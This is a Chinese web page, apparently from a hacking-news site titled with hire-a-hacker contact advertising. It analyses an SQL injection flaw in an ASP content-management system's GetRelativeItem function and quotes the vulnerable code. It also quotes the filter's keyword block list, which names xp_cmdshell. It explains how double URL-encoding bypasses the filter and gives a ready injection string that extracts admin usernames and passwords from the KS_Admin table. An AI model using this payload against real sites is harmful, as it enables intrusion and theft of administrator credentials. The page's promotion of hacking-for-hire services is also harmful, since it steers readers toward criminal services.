专业接单黑客联系方式 网络黑客高手联系方式

专业接单黑客联系方式 网络黑客高手联系方式

黑客平台hacker2020-10-27 19:00:002502A+A-

函数过滤混乱导致注入

复制代码代码如下:
Dim KS:Set KS=New PublicCls
Dim Action
Action=KS.S("Action")
Select Case Action
Case "Ctoe" CtoE
Case "GetTags" GetTags
Case "GetRelativeItem" GetRelativeItem //问题函数
...skip...
Case "getonlinelist" getonlinelist
End Select
Sub GetRelativeItem() //漏洞函数开始
Dim Key:Key=UnEscape(KS.S("Key"))//漏洞位置,只调用ks.s函数,无其它过滤。
Dim Rtitle:rtitle=lcase(KS.G("rtitle"))
Dim RKey:Rkey=lcase(KS.G("Rkey"))
Dim ChannelID:ChannelID=KS.ChkClng(KS.S("Channelid"))
Dim ID:ID=KS.ChkClng(KS.G("ID"))
Dim Param,RS,SQL,k,SqlStr
If Key<>"" Then
If (Rtitle="true" Or RKey="true") Then
If Rtitle="true" Then
param=Param & " title like '%" & key & "%'"//类似搜索型注入漏洞。
end if
If Rkey="true" Then
If Param="" Then
Param=Param & " keywords like '%" & key & "%'"
Else
Param=Param & " or keywords like '%" & key & "%'"
End If
End If
Else
Param=Param & " keywords like '%" & key & "%'"
End If
End If
If Param<>"" Then
Param=" where InfoID<>" & id & " and (" & param & ")"
else
Param=" where InfoID<>" & id
end if
If ChannelID<>0 Then Param=Param & " and ChannelID=" & ChannelID
Param=Param & " and verific=1"
SqlStr="Select top 30 ChannelID,InfoID,Title From KS_ItemInfo " & Param & " order by id desc" //查询 
Set RS=Server.CreateObject("ADODB.RECORDSET")
RS.Open SqlStr,conn,1,1
If Not RS.Eof Then
SQL=RS.GetRows(-1)
End If
RS.Close


 先进行了过滤,然后才调用UnEscape解码,
 

复制代码代码如下:
Public Function S(Str)
S = DelSql(Replace(Replace(Request(Str), "'", ""), """", ""))
Function DelSql(Str)
Dim SplitSqlStr,SplitSqlArr,I
SplitSqlStr="dbcc|alter|drop|*|and |exec|or |insert|select|delete|update|count |master|truncate|declare|char|mid|chr|set |where|xp_cmdshell"
SplitSqlArr = Split(SplitSqlStr,"|")
For I=LBound(SplitSqlArr) To Ubound(SplitSqlArr)
If Instr(LCase(Str),SplitSqlArr(I))>0 Then
Die ""
End if
Next
DelSql = Str
End Function


 如果配合Unescape()函数,刚过滤不会生效。可以采用unicode编码方式,则不会在浏览器中出现被过滤的字符。例如,单引号可以编码为。%2527,经过解码后还是“'”号,这样的话,就可以利用类似php的二次编码漏洞的方式绕过过滤了。
注入语句:%') union select 1,2,username+'|'+ password from KS_Admin
 转换如下:


(责任编辑:网络)

点击这里复制本文地址 以上内容由黑资讯整理呈现,请务必在转载分享时注明本文地址!如对内容有疑问,请联系我们,谢谢!

黑资讯 © All Rights Reserved.  
Copyright Copyright 2015-2020 黑资讯
滇ICP备19002590号-1
Powered by 黑客资讯 Themes by 如有不合适之处联系我们
网站地图| 发展历程| 留言建议| 网站管理